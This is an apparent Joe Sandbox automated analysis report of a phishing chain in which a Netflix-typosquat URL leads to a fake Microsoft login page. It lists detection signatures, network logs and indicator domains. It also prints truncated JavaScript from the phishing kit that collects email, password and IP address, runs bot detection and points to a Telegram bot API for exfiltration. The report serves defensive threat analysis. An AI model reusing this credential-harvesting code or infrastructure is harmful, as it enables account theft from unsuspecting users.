Edit tour

Windows Analysis Report
https://nettl.ntfs2.shop/

Overview

General Information

Sample URL:	https://nettl.ntfs2.shop/
Analysis ID:	1637503
Infos:

Detection

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

AI detected suspicious Javascript

AI detected suspicious URL

Javascript uses Clearbit API to dynamically determine company logos

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

Javascript checks online IP of machine

No HTML title found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1852,i,4191389869760221839,8279947246922963098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2020 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6356 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nettl.ntfs2.shop/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The URL 'oka.greenthreads.hr' does not match the legitimate domain 'microsoft.com'., The domain 'greenthreads.hr' does not have any known association with Microsoft., The presence of a brand like Microsoft on an unrelated domain is suspicious., The URL uses a country-specific domain extension '.hr' which is not typical for Microsoft., The URL does not contain any direct reference to Microsoft, increasing suspicion. DOM: 1.3.pages.csv
Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'oka.greenthreads.hr' does not match the legitimate domain 'microsoft.com'., The domain 'greenthreads.hr' does not have any known association with Microsoft., The presence of a seemingly unrelated domain name and the lack of any direct association with Microsoft suggest a high likelihood of phishing., The URL structure does not include any recognizable Microsoft-related subdomains or paths. DOM: 1.4.pages.csv

AI detected suspicious Javascript

Source: 1.11..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oka.greenthreads.hr/_next/static/chunks/pa... This script demonstrates several high-risk behaviors, including data exfiltration, obfuscated code, and dynamic code execution. It collects sensitive user information (email, password, IP address, user agent) and sends it to a Telegram bot, which is a strong indicator of malicious intent. The script also checks for bot activity and redirects users to a 'denied' page if detected. Overall, this script poses a significant security risk and should be treated as highly suspicious.

AI detected suspicious URL

Source: https://nettl.ntfs2.shop

Joe Sandbox AI: The URL 'nettl.ntfs2.shop' appears to be a typosquatting attempt on the well-known brand Netflix. The domain 'nettl' is visually similar to 'netflix', with the omission of the 'ix' at the end, which could easily be overlooked by users. The subdomain 'ntfs2' does not have a clear connection to any known service or product related to Netflix, and the '.shop' extension is not typically associated with Netflix's official domains. These factors, combined with the visual similarity, suggest a high likelihood of user confusion and a potential typosquatting attempt. However, without additional context, it's possible that this domain could be used for unrelated purposes, but the structural and visual similarities strongly indicate a deceptive intent.

Javascript uses Clearbit API to dynamically determine company logos

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js

HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e||[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p||[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,d]=(0,o.usestate)(!1),[u,_]=(0,o.usestate)("/favicon.ico"),[p,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){d(!0),m("verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Javascript uses Telegram API

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js

Source: https://oka.greenthreads.hr/

HTTP Parser: Number of links: 0

Source: https://oka.greenthreads.hr/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://nettl.ntfs2.shop/

HTTP Parser: Base64 decoded: 1741881745.000000

Source: https://nettl.ntfs2.shop/script.js	HTTP Parser: async function getuserip() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('failed to get ip:', error); return '0.0.0.0'; // default ip in case of error }}// function to detect canvas fingerprintingfunction iscanvasblocked() { try { const canvas = document.createelement("canvas"); const ctx = canvas.getcontext("2d"); if (!ctx) return true; ctx.filltext("bot detection", 10, 10); return ctx.getimagedata(10, 10, 1, 1).data.length === 0; } catch (e) { return true; // if an error occurs, assume the canvas is blocked }}function detectbotlocally() { const botpatterns = [/bot/, /crawl/, /spider/, /scraper/, /python/, /httpclient/, /fetch/, /curl/]; const isbotuseragent = botpatterns.some(pattern => pattern.test(navigator.useragent.tolowercase())); c...
Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js	HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e\|\|[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,d]=(0,o.usestate)(!1),[u,_]=(0,o.usestate)("/favicon.ico"),[p,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){d(!0),m("verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing

Source: https://oka.greenthreads.hr/

HTTP Parser: <input type="password" .../> found

Source: https://nettl.ntfs2.shop/	HTTP Parser: No favicon
Source: https://nettl.ntfs2.shop/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.9:64369 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.73.143
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIk6HLAQiJo8sBCIWgzQEI/qXOAQiB1s4BCKXgzgEIruTOAQjf5M4BCIzlzgE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/main-de1ad41d606513c1.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/index-d6318c8b55988a60.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Tue, 11 Mar 2025 15:19:11 GMT
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Tue, 11 Mar 2025 15:19:11 GMT
Source: global traffic	HTTP traffic detected: GET /avatar/61788a5113873331bc5e22d2b622f298?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/61788a5113873331bc5e22d2b622f298?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1741881764112&hash=7e9a04cfe7662d537b1fb482e3faa654c14b63e8ba65e2f6fb16e30982f0fb42 HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1741881770244&hash=859119025bf343065ef25d3f9d3fd6b8cf02d1f34ab316d462a49556ce2f83d5 HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: nettl.ntfs2.shop
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: patnero.thesilent.de
Source: global traffic	DNS traffic detected: DNS query: classntfst.shop
Source: global traffic	DNS traffic detected: DNS query: oka.greenthreads.hr
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: www.gravatar.com
Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: rail-bot-production.up.railway.app
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /report/v4?s=SunFNVLve0UQg5iU547W1VbZVPE9gkL7lhOJUP0uQj1lwMfIG23%2BJ4MBuNk6bIGgJJI7gWFyWSW3iS6iT9ICBXflhYhZGT48vkjFAE5TjH8%2FRL5lH5QmiV1z%2F%2BiXfqBKk0Jf HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 416Content-Type: application/reports+jsonOrigin: https://nettl.ntfs2.shopUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_80.1.dr	String found in binary or memory: https://api.telegram.org/bot
Source: chromecache_80.1.dr	String found in binary or memory: https://api64.ipify.org?format=json
Source: chromecache_69.1.dr	String found in binary or memory: https://feross.org
Source: chromecache_80.1.dr	String found in binary or memory: https://logo.clearbit.com/
Source: chromecache_80.1.dr	String found in binary or memory: https://nr.moralemadefiles.top/
Source: chromecache_80.1.dr	String found in binary or memory: https://rail-bot-production.up.railway.app/api/detect_bot
Source: chromecache_85.1.dr	String found in binary or memory: https://vercel.live/_next-live/feedback/feedback.js
Source: chromecache_80.1.dr	String found in binary or memory: https://www.gravatar.com/avatar/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64380
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
